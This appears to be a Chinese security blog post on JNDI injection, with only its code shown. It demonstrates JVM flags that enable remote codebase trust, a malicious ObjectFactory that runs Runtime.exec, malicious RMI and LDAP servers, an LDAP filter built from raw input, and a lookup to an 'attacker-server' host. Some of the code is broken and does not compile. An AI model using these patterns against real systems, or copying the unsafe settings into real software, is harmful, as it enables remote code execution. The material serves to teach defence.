九维团队-绿队（改进）| JNDI用法示例及安全开发建议（下）

System.setProperty("java.rmi.server.useCodebaseOnly", "false"); System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;
public class MyObjectFactory implements ObjectFactory {    public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {        // 在这里执行恶意操作，例如获取敏感信息或者执行不安全的代码        // ...        return null;    }}

import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;
public class MyJNDIAttack {    public static void main(String[] args) {        try {            // 创建一个Hashtable对象，用于存储JNDI上下文的环境属性            Hashtable<String, Object> env = new Hashtable<String, Object>();
            // 添加一个引用，指定ObjectFactory的类名为MyObjectFactory            env.put("java.naming.factory.object", "MyObjectFactory");
            // 创建一个JNDI初始上下文            Context ctx = new InitialContext(env);
            // 进行JNDI查询，此操作会触发MyObjectFactory.getObjectInstance方法            // 这里的name参数可以自定义，例如使用非法的URL或者传递恶意参数            Object obj = ctx.lookup("name");
            // 使用查询结果进行其他操作，例如调用方法或获取属性值            // ...
            // 关闭JNDI上下文            ctx.close();        } catch (NamingException e) {            e.printStackTrace();        }    }}

import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import javax.naming.Reference;import javax.naming.StringRefAddr;import javax.naming.spi.ObjectFactory;
public class MaliciousObjectFactory implements ObjectFactory {
  public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {        // 恶意代码    Runtime.getRuntime().exec("malicious_command"); // 执行恶意命令        return null; // 返回 null，不会创建任何对象  }}

import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;
public class MaliciousRMIServer {
  public static void main(String[] args) throws Exception {        // 注册 RMI 注册表    Registry registry = LocateRegistry.createRegistry(1099);
    // 创建远程对象    MaliciousObjectFactory factory = new MaliciousObjectFactory();    ObjectFactory remoteObject = (ObjectFactory) UnicastRemoteObject.exportObject(factory, 0);
    // 绑定远程对象到命名空间    registry.bind("MaliciousObject", remoteObject);
    System.out.println("Malicious RMI server is running...");  }}

import java.rmi.Naming;import javax.naming.Context;
public class MaliciousRMIClient {
  public static void main(String[] args) throws Exception {
    // 连接到 RMI 服务并获取恶意对象    Context namingContext = new InitialContext();    Object obj = namingContext.lookup("MaliciousObject");
    // 当调用恶意对象的方法时，恶意代码将会被执行    obj.getObjectInstance(null, null, null, null);  }}

import javax.naming.Context;import javax.naming.directory.Attributes;import javax.naming.directory.BasicAttribute;import javax.naming.directory.BasicAttributes;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;
public class MaliciousLDAPServer {
    public static void main(String[] args) throws Exception {        // 创建一个基本的属性对象        Attributes attrs = new BasicAttributes(true);        BasicAttribute attr = new BasicAttribute("objectClass");        attr.add("top");        attrs.put(attr);
        // 创建一个基本的域名上下文        // 这里使用的是LDAP协议，默认端口是389        String url = "ldap://localhost:389/";        Context ctx = new InitialDirContext();
        // 绑定恶意的 LDAP 路径        // 这里的用户输入相当于拼接到LDAP路径的一部分，以进行LDAP注入攻击        String maliciousInput = "(&(username=bob)(password=" + args[0] + "))";        ctx.bind(maliciousInput, null, attrs);        System.out.println("恶意的LDAP服务已创建");    }}

import javax.naming.Context;import javax.naming.directory.DirContext;import javax.naming.directory.InitialDirContext;import javax.naming.directory.Attributes;import javax.naming.directory.BasicAttributes;
public class MaliciousLDAPServer {    public static void main(String[] args) throws Exception {        // 创建LDAP服务的上下文        Context ctx = new InitialDirContext();
        // 创建用于添加新条目的属性        Attributes attrs = new BasicAttributes();        attrs.put("objectClass", "inetOrgPerson");        attrs.put("cn", "Malicious User");        attrs.put("sn", "User");
        // 使用LDAP服务上下文添加新条目        DirContext result = ctx.createSubcontext("ldap://attacker-server:1389/evil", attrs);    }}